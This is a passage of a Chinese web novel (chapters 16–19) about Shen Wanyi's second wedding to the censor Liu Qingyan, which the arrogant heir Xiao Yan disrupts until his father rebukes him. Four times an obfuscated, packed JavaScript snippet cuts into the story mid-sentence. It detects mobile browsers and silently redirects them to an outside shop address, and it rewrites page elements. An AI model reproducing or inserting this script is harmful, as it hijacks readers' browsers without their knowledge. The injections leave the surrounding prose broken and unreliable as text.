“婉婉,这话你不用说,爹也明白。”面对女儿的恳求,沈正年几乎是毫不迟疑地便做出了回答,“更何况这柳青砚不仅是你的恩人,我们沈府的恩人,他还是你未来的丈夫,我未来的女婿!我这做岳父的,怎么着也得多帮衬他才是。” 就算以前再看不起此人的出生,此刻柳青砚也已然成了沈府的恩人,一个月后,他更会成为女儿的丈夫。 一家人何必说两家话,只会徒生隔阂。 林氏决定不再拿着此人的出生说话,她也宽慰女儿,“婉婉,你放心,成了亲他就是你的夫君,我们沈国公府的女婿,朝堂上别说你父亲了,就是你外祖父那边也会朝着他说话的。” 这样一来,这柳大人所得到的政治资源应该也可以回报他的恩情吧,只要他不犯傻,日后平步青云应该并非难事。 沈婉仪因歉疚感带来的负担顿时减轻了一些。 她想开口道谢,却被林氏阻止,“婉婉,娘给你说过多少次了,你在爹和娘面前永远不用说‘谢’这个字。” 沈父也伸出手制止了她。 沈婉仪鼻子一酸,眼眶倏的红了起来,她终是忍不住抱住了父母。 林氏抬手轻拍着她的脊背,语气带着几分嗔怪:“你看你这副样子,幸亏阿盈没在这儿,不然她准要笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922785|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你了,她娘这么大还和母亲撒娇呢。” 沈父被女儿抱住,也亲切地拍了拍女儿的肩,以示安慰。听见妻子的话,他笑了笑,不是很赞同,“我们婉婉也是当女儿的人呢,自然可以与为父撒娇。” 听着父母的话,沈婉仪只觉浑身都泛起了暖意,这一刻所有的烦恼似乎都抛到九霄云外了。 半晌,她直起身,拿出帕子擦了擦眼角,破泣为笑,“爹说的对,我再长大,我也是娘和爹的女儿。” 林氏笑着替她理了理鬓边的碎发,“好了婉婉,今日折腾了一天了,回来还耽搁了这么久,你也早点回房休息吧。” 确实自己在父母这边说话说了好一会儿,沈婉仪估摸着梁盈此刻应该都已经睡下了,与父母二人行了礼,她便转身回了自己的院子。 夜风微凉,回廊两侧的枫叶被风吹得沙沙作响,影影绰绰的,倒添了几分静谧。路过梁盈院子时,屋里瞧着没有点灯,沈婉仪拢了拢身上的素色披风,特意将脚步放得轻了些,生怕吵醒了梁盈。 回到自己院内,刚推开门,却见梁盈正坐在桌边,一副困得不行的模样,她见着她便问,“娘亲,你怎么现在才回来啊。” 见女儿还没睡,沈婉仪是又惊又怒,既疑惑又心疼。但她知晓女儿这么做必然事出有因,于是便问她,“阿盈,你怎么还没睡?” “娘亲,你没有和外祖父和外祖母说敬香法会的事吧?” 原是为了这个,沈婉仪失笑,捏了捏女儿的脸,“娘亲你还信不过呀。” 梁盈的脸被捏的有些变形,活像一个小面粉团子,没得到准备的答案,“面粉团子”用含糊不清的声音继续追问,“娘亲,你到底说没说嘛?” “没说。好了,这下你可以安心去睡觉了吧。” 梁盈从凳子上跳下来,抱了一下她娘一下,“娘亲你真好,今晚我要和你一起睡。”还没等沈婉仪拒绝,她就已经噔噔噔跑去了榻上歇着。 沈婉仪反应过来时,她已然缩进了被窝在催促她了,“娘亲,你也洗漱完快睡吧,我等你一起。” 沈婉仪摇了摇头,吩咐芸香准备洗漱。 这时兰黛从外面进来,沈婉仪一看她面色铁青的模样就知道她刚刚定是被梁盈叫到一旁了,这下是来请罪来了。 她在她开口前挥了挥手,让她下去歇息,“不是你的错,你今日也折腾得狠了,早点下去歇息吧。” 兰黛如释重负,“多谢姑娘。” 她退下去后,沈婉仪让芸香从自己的私房钱里面拿了一些银两,“今日和我们一起出去的人,每人三两银子。” 芸香眼睛瞬时放光,掩盖不住的兴奋,“奴婢替大家多谢姑娘!”她说完,当即便要动身,沈婉仪却拉住了她。 “夜已深了,明日再去。”芸香这才惊觉自己高兴得忘记了时辰,现在已是深夜了。 沈婉仪洗漱完毕,便叫芸香退下了,等她回到榻上时,梁盈已经轻轻打了呼。 还说什么要等她,沈婉仪莞尔,亲了亲女儿的小脸,搂住她一起进入了梦乡。 17. 第 17 章 九月初五,宜嫁娶。 今日是大婚,卯时刚过,沈国公府后院便已人声鼎沸。 或许是因为二嫁,又或许是因为沈婉仪知道这桩婚事只不过是走走过场,从醒来时她的面上便一直很平静,丝毫没有新娘子应该有的喜悦之情。 喜娘进来为她绞面描眉时也瞧见了她的这幅模样,不过好歹也是当过好几次大户人家喜娘的人,她只老老实实地为新娘子梳好妆便够了,其余的一切不是她能够插手的。 但喜娘心里仍是猜测新娘子这副模样是否是幼时便养成的规矩。因为来之前她也是特意打听过的,这位新娘子之前是一直养在老太太处,听说规矩立得那是相当严,所以这种日子里仍然端重自持,保持仪态,也就不足为奇了。 况且今日宾客众多,若是新娘子丢了脸面,怕不是不出半日便整个上京就已经传遍了。 喜娘为沈婉仪梳妆完,盖上盖头,沈婉仪便被芸香带着去和沈父沈母拜别。 熟悉的场景,耳边少了沈嘉禾聒噪的声音,沈婉仪还有些不太习惯。 此次成婚沈婉仪也是给沈嘉禾去信了的,只是临近岁末,又近寒冬,这时的漠北向来不太平,沈嘉禾身为镇北大将军,照例抽不开身回来,他只回了一封信。 他这人信里和信外依旧一个模样,一样的不正经,字也是一样的鬼画符,他在信里给沈婉仪疯狂道歉,说着什么“阿姐不要怪我”“阿姐原谅我”的话,沈婉仪读信时常常不能把写这封信的人和那个威名赫赫的镇北大将军联系在一起。 随信来的有好几箱金银财宝,还有厚厚一沓田契地契,都是先前他立功时圣上赏给他的一些东西,他都一起送了过来,说是给沈婉仪做添妆。 沈婉仪看着他送回来的这些东西,都快赶上柳青砚给的嫁妆了,不禁摇了摇头,暗自感叹沈嘉禾虽做了将军,对钱财竟是半点概念都没有。 她都可以想象出她的弟弟是怎么把这些东西给送过来的。 无非就是“这个那个,还有这个......”但凡是他选中的,他就一揽子全部让人送过来了。 和他小时候惹恼了她,再派人送各种不同的小玩意儿过来求和时差不多。 想起他,沈婉仪的嘴边不禁露出一抹笑意。这抹笑意,也藏着几分久未相见的惦念,她确实有好些时日没见过沈嘉禾了。 梁钺当年在世时,也曾有几次被派去过漠北与沈嘉禾一同驻守,那时他还没那么忙,一年好歹多多少少能见一面。梁钺去世后,派去驻守的人便换了人,他便愈发忙碌了,这三年,沈婉仪也只与他见过一面。 这桩婚事本就是徒有其表,沈婉仪本不想为此将他叫回来。 给他去信时也没指望他回来,但想着他好歹是自己的亲弟弟,自己的婚事总不能不告诉他。若是之后他在别处知道了自己的婚事,定要怪她瞒着他了,指不定又要烦上她许久。 于是沈婉仪想了想,最终还是给他去了信。 虽早已猜到他不会回来,只是熟悉的场景难免让沈婉仪想起当时她和梁钺的那场婚事,那时漠北还算太平,沈嘉禾也并不是大将军,他特意告假回来,迎亲那日硬是将前来接新娘的梁钺拦了好一会儿才罢休。 只是这些其乐融融的场面今日是不会再有了。 被父亲送上花嫁时,或许是知道这桩婚事并不长久,运气好的话更是要不了多久就可以回来,所以比起第一次成亲与父母分别时的感伤,沈婉仪这次离府时并没有当初那么难过和不舍。 外面响起了敲锣打鼓的喜庆声音,轿身轻晃,脚步离地,沈婉仪意识到这是在往柳府走了。 熟悉的喜乐,醒目的红绸,轿身微微的晃动,几乎将她又重新拉回了当年坐在梁钺喜轿上的时候,只是那时的她,满是闺阁少女待嫁时的紧张与期待,全然不是这般淡若止水的模样。 沈婉仪记得,与梁钺成亲前,她听长辈的话待在府里,许久没与他见面,成亲那日沈嘉禾拦了他许久,她在府里等了好长时间才被父亲背着送上花轿。 在花轿上时,她能偶尔听见梁钺在回应路人的祝贺,听着他声音里藏不住的喜悦,她心里也是泛了蜜似的甜。好长时间没见,盖着红盖头,她瞧不见他的模样,但沈婉仪却开始止不住地想,他穿着赤红圆领袍的模样是不是真的那么好看。 祖母曾与她说,当年祖父掀开她盖头时,她看见他身着喜袍,笑意盈盈的模样,心跳声比那擂鼓声还大。 见她一脸怀疑的表情,祖母告诉她,“婉婉,若是你嫁的人恰是你的心上人,等你掀开盖头看见他,你就会知道祖母没有在说假话。” 沈婉仪那时在轿子上想,等到晚上她见到梁钺时,心脏也会跳得那么快吗? 当夜入洞房时,她终于知道祖母没有在骗他。 那时她坐在塌上,光听见脚步声,心跳便已经完全不受她控制了。待到视线里出现喜秤,盖头随着喜秤的挑动一点点往上移,沈婉仪更是从未觉得时间那么漫长过。 她的视线一直低垂着,看着那人衣角上绣着的金色云纹,直到盖头完全被挑下,她才慢慢抬起眼帘看向这即将成为她夫君的人。 原本就丰神俊逸的脸,一身大红色织金圆领袍更是突显出他五官的俊朗来,墨发高束于玉冠之中,衬得他身姿挺拔,似乎是喝了酒的原因,原本就亮晶晶的眸子现在更是宛如水浸过般清润透亮。 或许是四周跳跃的烛火映入他的眼里,导致他看向她的眼底仿佛有星子揉碎在里面,沈婉仪对上他脉脉含情的眼神,脸颊竟倏地没由来的发烫。 他开口第一句便是,“婉婉,你饿没饿?我唤人送来了些点心,你快过来吃点。”说着便来牵她的手。 沈婉仪那时的紧张与害羞,在他说完这话之后便浑然不觉了,只想着梁钺还是那个梁钺呢,没有因为成为她的夫君就有任何的不同。 那时多好啊,那时...... “阿婉,到了。” “阿婉?” 熟悉的声音将沈婉仪唤回神来,原是喜娘来请新娘下轿后发现没有动静,却又不敢擅自掀开轿帘,怕坏了规矩,便去请了新郎过来。 眼看柳青砚就要亲自掀帘,沈婉仪赶在他动手之前下了轿。 见着新娘出来,喜娘很有眼力见地立马迎了过来,扶着她准备去跨火盆,恍若无事发生。 婚事照旧有条不紊地推进,满院喧闹人声里,无人留意,新郎垂在身侧的袖袍底下,紧攥的指节正渐渐舒展开来。 跨火盆,过马鞍,紧接着便是拜高堂。 柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922786|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青砚的家世和梁钺唯一的相似之处便是父母都早逝,梁钺的父母和祖父当年在瘴毒谷被敌人埋伏,坚持到最后一刻仍然全军覆没。 沈婉仪当初与他成亲时,梁府的高堂上坐着的是他的祖母,黑木方桌上摆放着的是他祖父和父母的牌位。 而如今,柳府的梨花木方桌上摆放着的仍是柳青砚父母的牌位,可他已经没有其他的亲人了,于是他便请了他的恩师,新上任的张相来做他们的主婚人。 这一切柳青砚都提前与她商量过的,沈婉仪对此倒是没什么建议,反正是走走流程的事,于她而言无论请谁皆可。 喜娘上前一步,拉长了调子唱:“一拜高堂——” 沈婉仪与柳青砚二人牵着绣着鸳鸯的红巾上前一步,一同躬身。 张相抬手虚扶,声音沉稳有力:“后生可畏,愿你二人此后相敬如宾,举案齐眉。” 喜娘又唱:“二拜天地——” 两人转身,面朝门外,再度躬身下拜,今日天气晴好,秋高气爽,微风卷着门外的桂花香飘进来,拂过两人牵着红巾的手。 “夫妻对拜——” 喜娘的这一声唱罢,柳青砚缓缓转过身,温柔的目光落在对面之人身上,视线仿佛穿过了鸳鸯戏水的红盖头落在她清丽的面庞上。 看着那对彩绣鸳鸯,他忽然不合时宜地想,按照齐国的婚俗,新娘子的红盖头需得是自己绣的,那这对鸳鸯岂不是也是阿婉一针一线绣上去的? 他心下微动,想着原来不是只有他一个人对这桩婚事如此上心。 沈婉仪若是此刻知道他心中所想,只会勉强礼貌地露出一个微笑,而后讪讪地解释,这其实她拜托芸香绣的。 许多人见到沈婉仪,都会以为她是一个标准的大家闺秀,于是便默认她定是琴棋书画样样精通,刺绣更是不用说,定然也是技艺精湛。 然而前半句勉强算真,后半句便全然是假了。 沈婉仪的绣技仅停留于一些简单的花样,譬如桃花、玉兰一类的,但若是再复杂一些的物什,她绣出来的东西便不能看了。 而鸳鸯恰恰就是在这不能看的一类里面。 当初和梁钺成婚时,沈婉仪原本也是自己绣了盖头的,可当最后看到两只像鸭子似的成品时,她便全然选择了放弃,若不是梁钺极力祈求她留下,她定然是不会再顶着那张盖头去成亲的。 那张盖头如今早就被她收好放在了箱底,所以这次婚事的盖头沈婉仪几乎是没有任何犹豫地就拜托了芸香,芸香也是知道她的绣技的,自然也没有拒绝。 见新郎官看着新娘愣了神,身后的喜娘似乎见惯了似的笑着上前一步提醒他尽快行礼。 柳青砚听到催促忙不迭地躬下身,预备行礼。 门外却突然响起一道不合时宜的声音,“慢着!婉仪姑娘,我的礼物你还没有收呢!” 此言一出,在场的宾客无一不瞪大了眼看向来人,看热闹之心皆起。 站在一旁的江霁月立刻便想跳出来将此人赶走,但却被她的父亲拦住了步伐,江修远面色凝重,“别管闲事。” 开玩笑,这人是他这种小官敢管的吗? 而这边,沈婉仪听到这声音躬下的身子冷不丁地一僵,这是是永安王世子萧延的声音。 18. 第 18 章 提起这世子,沈婉仪就无比后悔——去年八月初七,她为何偏偏选了那日去法善寺。 上京城中信奉佛家之人众多,就连当今圣上和太后也都是佛家信徒,是以整个上京城中大大小小的寺庙不下好几十处。 其中永兴寺以皇家敕建的身份和香火鼎盛闻名,寺中高僧辈出,时常举办讲经、论法之类的法会盛事。宫中的贵人也常遣人前来上香祈福,是上京最具威望的佛门圣地。 或许是因为颇负盛名,导致想在其做道场都十分难约,沈婉仪特意提前了大半年去约做道场,但没想到仍是低估了这永兴寺的繁忙,大师告诉她想做道场的话排期须得等年底了。 梁钺的祭日在八月份,可等不到年底,沈婉仪于是便选择了名气没那么大的法善寺。 法善寺虽不是皇家下令敕建,但香客也算络绎不绝。 八月初七,她带着梁盈去城南法善寺给梁钺做道场,前一日刚下过雨,马车行至山路半道,突遇落石,马儿受了惊,霎时失去控制,眼看就要带得她们车内的一行人翻下山谷时,幸得一好心人出手相救,这才化险为夷。 为表感谢,沈婉仪当时特意从马车下来行礼,还询问那人的姓名住址,以便日后好携礼再次登门拜谢。 哪知那人却对她的话充耳不闻,并且举止轻浮,掀了她戴的帷帽不说,还出言调戏,说要她以身相许才配得上这救命之恩。 沈婉仪当时念及他确实有恩于先,就并未与他过多纠缠,见他不答自己的问话,也就不再自讨没趣,传达了谢意之后,便令人重新架好马车匆匆离去。 那日之后没过多久,永安王府便放出话来了,沈婉仪这才明白那人便是永安王世子萧延。 沈婉仪是知道一些关于他的传言的,这几年她虽然鲜少出席上京城中的宴会,但江霁月每次来找她时,都会分享她四处听来的一些八卦闲谈。 江霁月告诉她,这萧延是上京城中出了名的纨绔子弟,府里妻妾成群,他仍整日在外面花天酒地。 并且此人还有个不为人知的癖好,那便于房事上专喜一些凌虐手段。两年前他的世子妃无端暴毙,便有坊间流言说是他醉酒后失手将人打死的。 沈婉仪虽讶然好友连这般私密之事都知晓,但她仍是将这些话都听进了心里。 她后来于是没有选择携礼拜访,只让人把准备好的谢礼送到了永安王府。 却没想到东西到了永安王府却又被退了回来,那世子还让去送礼的侍从带话回来,说是“这些俗物比不上婉仪姑娘的万分之一,婉仪姑娘若真想报恩趁早答应了这桩婚事便成。” 沈婉仪于是再也不自讨没趣,救命之恩虽是真,但也断没有逼人以身相许的道理。 她后来鲜少的几次出门都特意避着他,但按照规矩永安王父子也算朝中重臣,是她父亲和柳青砚的同僚,所以这次婚事自然也给永安王府去了喜帖。 但沈婉仪没想过他们会来,毕竟明眼人都知道,这里并不欢迎他们。 却没想到这萧延却还是厚着脸皮来了,盖头之下,沈婉仪皱紧了眉,暗想这人怎么就这么胡搅难缠。 她抬手想扯下盖头与此人对峙,手还未离开红巾就被一只骨节分明的手给按下,身旁之人灼热的呼吸尽在她耳边,他用只有他二人听得见的声音道,“阿婉,别管他,我们继续。” 沈婉仪倒是没想过柳青砚会阻止她,他说完这话她才有些后知后觉地反应过来,他或许是怕她如果和萧延对上,那对方说不定会更加来劲。 萧延确实是这样的人,沈婉仪听父亲说过,之前柳青砚弹劾他之后,他非但没有适可而止,反而更加变本加厉,日日到风月场所消遣,好几回甚至将人带到了家里胡闹,惹得他那新娶的世子妃是敢怒不敢言。 她听从了柳青砚的提议,选择继续行礼。两人行完礼,张相忙过来打圆场,他是这对新人的长辈,也是今日的主婚之人,说什么也要让婚事顺利进行下去。 见自己被无视,萧延倒也没有立即发作,他躲开张相伸过来想将他拉至一边的手,拍了拍手。 他身后的侍从抬上来数个箱子逐一打开。 众人一看,无一不惊。 站在最前的侍从唱着礼单,“永安王世子萧延,带来珊瑚镶宝香山两座,十二扇玉屏摆件一座,象牙雕塔一尊,羊脂白玉马一对......” “贺婉仪姑娘新婚大喜。” 待到侍从终于把礼单念完,萧延把玩着手上金镶玉扳指,唇角勾起一抹讥诮的弧度,缓缓道:“婉仪姑娘,听说你嫁的这夫君家世并不显,连送的聘礼都是些上不得台面的东西。” “本世子便特意赶来,备了这些薄礼。也好让婉仪姑娘见识见识,什么才叫拿得出手的诚意,别叫旁人用一些寒酸的物什就哄得婉仪姑娘下了嫁。” 萧延这话一出,宾客们的目光顿时齐刷刷落在柳青砚身上。 在场众人此刻都无比清楚,柳大人明知世子已经放了话要娶沈婉仪,却还敢向圣上请旨为二人赐婚,萧世子此举是在报复柳大人呢。 萧世子这话便是在借着送礼的由头当众折辱这柳大人,嘲讽他出身低微,聘礼寒酸,这话中的讥讽之意实在是没给这柳大人留一点情面。 众人一时都不敢吭声。 柳青砚站在婉仪身侧,闻言眸色沉了沉,但却并未失态。他抬眼看向萧延,目光依旧温和,语气依旧平静,“世子客气了,贺礼贵在心意,而非奢靡。世子若真心道贺,便请入席饮酒;若是存心搅扰,便休怪我不顾及同僚情分,让人请世子出去了。” “本世子和婉仪姑娘说着话呢,哪轮得到你这贫贱之人插嘴?也不撒泡尿照照自己,你这出身给本世子当狗,本世子都瞧不上。”萧延冷哼一声,“你到敢让人请本世子出去了?” 沈婉仪本就因圣旨一事对柳青砚心中有愧,此刻听见他又因为自己被萧延羞辱,抓住红巾的手悄然握紧。 她忍住了想要掀开盖头的冲动,冲着萧延那处道,“世子盛情,婉仪心领了。只是夫妻相守,贵在心意相通,而非外物厚薄,世子出身显赫,怕是不懂此间道理。”她的语气平静无波,听不出半分恼意,却也没半分退让。 一旁的柳青砚听见“夫妻”二字,侧过头看了看她,可惜沈婉仪盖着盖头,没注意到身侧之人的视线。 听见沈婉仪终于搭话,萧延收起了脸上的讥讽,一副为人着想的模样,“婉仪姑娘不必抬举我,本世子这次来不过是想让你知道,这柳青砚不堪与姑娘相配。” “左右婉仪姑娘你还没有入洞房,若是你弃他选择我,本世子这就带你去面圣,求圣上收回成命,为你我二人赐婚。” 简直无稽之谈,沈婉仪刚想开口,却感觉自己垂在身侧的手被人猛地握住了,红色的盖头遮住了视线,她只隐约察觉到身侧人气息急促,连握着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922787|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手都在微微发颤。 她疑惑地转过头看向柳青砚的方向。 温热的气息拂过耳畔,沈婉仪只听见他道,“阿婉,不要答应他。”平时波澜不惊的声音此刻竟带了一丝卑微的祈求。 沈婉仪虽不知他为何会得出自己会答应萧延的结论,但她为了让他放心,抽出了他握紧的手,轻轻拍了拍他的手臂,示意他稍安勿躁。 刚抽离的一瞬间,柳青砚还以为她拒绝了他的请求,几乎下意识地便要抓住她抽离的手。 可当自己被轻柔地拍了拍时,他才明白她的意思,他在心里默默松了一口气。 只差一步阿婉便可以变成自己的妻子,若是此刻因为这蠢货的挑动让阿婉改变了心意的话,他也不知道自己会做出什么事情来。 沈婉仪盖头下的神色依旧淡然,她用众人都听得见的声音道,“世子说笑了。这桩婚事乃是圣上亲赐,岂是说改就能改的?况且圣上已在圣旨中言明,柳大人与我乃是天造地设的一对,世子刚刚所言,可将圣上放在眼里?现在世子更是鼓动我抛弃柳大人而选择你,世子此举,岂不是将婉仪置于抗旨不遵的境地?” 沈婉仪这话字字珠玑,既点破萧延言辞中的僭越,又将“抗旨”的罪名轻轻推回他身上,满座宾客皆是侧目,看向萧延的目光里多了几分异样——谁都听得出,沈婉仪这是明着提醒,萧延再纠缠,便是质疑圣上的眼光,甚至有违逆君命之嫌。 萧延听她这样一说,立刻便想为自己辩解,“婉仪姑娘,我不是这个意思......” 沈婉仪不想听他废话,面无表情地打断他,“何况,君无戏言,圣上金口玉言定下的姻缘,婉仪与柳大人都不敢轻易违背,世子更不该轻言置喙。” 沈婉仪话音落地,喜宴上霎时便安静下来,仿佛连一根针掉在地上的声音都听得见。 宾客们面面相觑,虽无一人敢出声直接赞赏,但大伙心里都清楚,这世子本就是来趁机闹事,想要羞辱柳大人,而沈家姑娘这些话一出,这世子引以为豪的家世及出身便彻底站不脚了。 说到底,你世子殿下再瞧不起柳大人,可他与沈婉仪的这桩婚事毕竟是圣上亲自赐的婚,下的旨。你旁人再如何不满也不能指摘,不然你这不就是质疑圣上的决定吗? 即使你是圣上亲侄又如何,忤逆圣心照样不是你能做的。 沈家姑娘的这些话便是在说这层意思,你萧延想打柳青砚的脸,可你这些话说出来,不就是变相打了圣上的脸吗? 众人一时都引颈而望,想看这世子如何辩解,毕竟这新娘说的话可是字字在理啊。 柳青砚立在沈婉仪的身侧,听着她字字掷地有声,将萧延的对他的羞辱尽数挡回。 他不明白,明明此刻他分明连她模样的一丝一毫都见不到,可他却觉得她耀眼得惊人。 他的心脏在她刚刚出口说他们是夫妻的那一刻便开始狂跳。 在意识到她说的话是在维护他,在为他出头后,心脏的每一次跳动更是震得他的胸腔发颤,甚至连带着他的呼吸都乱了章法。 他不受控制将目光锁在身侧之人身上,十年前他以为,只要她不再用那样漠视或嫌弃的目光看着他,他便已经心满意足了。 可现在,在他尝过被她一心一意维护着的滋味的时候,他忽然觉得从前的自己还是太过天真了。 他想要的......从来都是她的全部。 19. 第 19 章 萧延在听到沈婉仪这番话之后脸色一阵青一阵白,却是一句话也说不出来。 他自小便娇生惯养,更是仗着自己的永安王父亲和皇帝伯父在上京城中称霸多年,从未有谁敢如此和他说话。 偏偏他今日还就是为此人而来,这人还敢如此不识好歹,自己拿来的金银珠玉没多看一眼,还为着那个给自己提鞋都不配的贫贱之人在众目睽睽之下与自己对歭。 他萧延自诩偏爱美人,府里的姬妾个个皆容色不斐,就连这前后娶的两位世子妃也皆是沉鱼落雁,闭月羞花之人。 可惜再美艳的花日夜相对,也总归会有腻味的时候。 去年八月他随母亲去法善寺,营中有些急事他便先行回城,却不曾想在半道顺手救下一半翻的马车。 那马车中的女主下车答谢时,虽戴着帷帽,可他看她身姿绰约,心中料想此人必定是一位清丽佳人,于是便拿着剑鞘挑掉了她的帷帽。 帷帽掉落,露出佳人真容,虽看他的眼神充满愠怒与戒备,却更衬得其眉眼清丽、肤色如雪。 这样的鲜活模样让萧延心头一跳,越发觉得此人比他那府中那些温顺的美人有趣百倍,他当即便动了要将人纳入府中的念头。 经属下提醒,他才想起营中的要事,否则他当日便会上前拦住那离去的女郎问清身份。 后来回府令人探查得知她乃是前骠骑大将军的遗孀,如今还在为夫守寡,他便命人放了消息出来,原本只待她丧期一过,便将人立即抬入永安王府。 可沈正年那个老奸巨猾之辈居然拖着不给他答复,他当时便立即动了向圣上请旨的心思,虽然他已有正室,可是侧室的位置尚有空缺,她一个尚书的女儿来当他的侧室也算匹配。 可没想到他将这话告诉父亲之后,却遭到了父亲的一顿痛骂,说是他先前那个世子妃的死亡真相也不知怎么的传到了圣上的耳朵里,圣上虽没有怪罪于他,却也没那么待见他。 于是他只好将请旨一事压了下来,只待此事的风头一过,便再去圣上面前禀明此事,这沈婉仪贤惠的名声早就响誉上京,到时他只要在圣上面前保证娶了她之后再不犯浑,圣上便定会下旨。 可哪想到半路却杀出一个程咬金来,坏了他的好事。 若要说此人真是程咬金那便罢了,可此人偏偏是个泥腿子出身的贱种,祖上三代都是刨地的农夫,好不容易祖坟冒青烟才让他中了个探花,当了个御史,竟也敢和他抢人。 而且......他使了点门道,知道点别人不知道的东西。 别看此人现在一脸清贵的御史模样,实则此人早年间还流落过鸣鸾阁,回禀的探子来报说他在里面呆过好几个月。虽后来跑了出来,但说不定早就沦为那以身侍人、专行龌龊之事的货色。 萧延忍不住充满恶意的想,这人如今的体面说不定也是靠着钻营攀附才得来的,否则他一个被圣上遗忘了好几年的邺州刺史,哪来的机会返京、还被升为御史?就这样一个腌臜之人,穿了一个君子的皮囊,就哄得他看上的人下嫁给他,他凭什么? 况且他要娶尚书之女的消息早就已经放了出去,这贱种却还敢顶风作案,分明是不把他放在眼里,这口气他哪里咽的下? 今日来这喜宴也是存了羞辱此人的心思,是以才有刚刚那一番动作,可这人脸皮厚得令人咂舌,非但没有半点羞耻之心,竟敢还想让人请他出去,最后甚至竟躲在女人后面让新娘子为他出头,自己反倒一声不吭。 想来是之前在鸣鸾阁里学得的习惯。上京城的风月场所凡是叫得出名号的,他萧延无一没去过,那里面的人最会狗仗人势,如今这柳青砚这副模样,可不就是狗仗人势? 可怜婉仪姑娘受他蒙蔽之深,一个劲向着他说话,否则如果她真的知晓他的经历,又怎么会选这样一个肮脏之人来成亲,还替他说话? 他原本还不想拿闹得太过难看,是以一开始尚未把这人的龌龊经历给讲出来,可现在看着他站在沈婉仪身旁一脸气定神闲的模样,他就忍不住想撕破他这副温润如玉的面具。 若是大家都知晓你柳大人藏在光鲜皮囊下的腌臜过往,不知你是否还能如此稳如泰山啊? 面对新娘子的回怼,萧延并不打算与之争辩,他知晓沈婉仪不过也一时受这柳青砚蒙蔽,才会向着他说话,他今日来此也并不是为了针对她。 他是要当着这些宾客的面,揭露这柳青砚的肮脏过往,让朝中这些重臣知道,与他们共事的这同僚到底是个什么样的人! 萧延冷笑一声,绕过沈婉仪走到柳青砚的面前,挑衅道,“婉仪姑娘,想必你还不知晓今日这与你喜结连理的新郎,有怎样一番精彩过往吧?” 在场的宾客有着不少达官显贵,平时在朝堂上没少与柳青砚这个御史中丞打交道,萧延这话一出,众人便知道他或许要翻出一些柳大人的私事出来,一时都抱着看客心态,翘首以盼。 被点名的沈婉仪则被他问得莫名,以为他是为了不掉面子刻意转移视线,盖头下的眼神也疑惑地看了过来,想看他说出个什么名堂来。 而柳青砚作为话题的主人也是冷冷看了过来,兴许是知道他要说什么,他的眸色沉得像化不开的墨,埋藏在眼底的是森森杀意。 萧延见众人纷纷将目光投来,愈发得意,他看着柳青砚那骇人的眼神,知道自己这说中了他的痛处,连声调都特意拔高了几分,“这柳大人之前可是......” 话刚出口,一道中气十足的嗓音骤然响起,硬生生截断了他的话头:“小儿无礼,还望柳大人和沈姑娘海涵。” 萧延听到这声音,像是被烫到一般瞬间噤声,脸色也瞬间煞白,慌忙回头望去。 众人也顺着他的视线一同看去,只见永安王萧启承阔步而来,一身锦衣华服也压不住其威严气场,他锐利的眼神扫过众人,最后落在萧延身上。 萧延惊疑地脱口而问,“爹,你怎么来了?”话音尚未落地,一道凛冽的掌风已带着破风之声袭来,“啪”的重响骤然炸开,震得厅内顿时大气也不敢出。 萧延踉跄着后退半步,捂着火辣辣发麻的脸颊,指腹下的皮肤迅速泛起红肿,他抬头看向永安王时,眼里尽是忿忿不平,连声音都带着颤,“爹,为什么?” “你还敢问什么?今日柳大人和沈姑娘这婚事乃是圣上所赐,你却在这里胡言乱语,肆意妄为,是想让整个永安王府都为你遭受牵连吗?”萧启承怒目圆睁,声音沉如惊雷,每一个字都带着压不住的怒火,震得萧延心头一颤。 他吼完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922788|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又十分抱歉看向堂前的一对新人,“犬子被宠坏了,不懂分寸,今日搅了柳大人与沈姑娘的喜宴,是老夫管教不严。” 沈婉仪虽盖着盖头,却也知道永安王这一出是为何,他是怕今日之事被圣上知晓后,萧延得到重罚,于是便先当着这众人的面,自己先行对萧延做出惩罚。 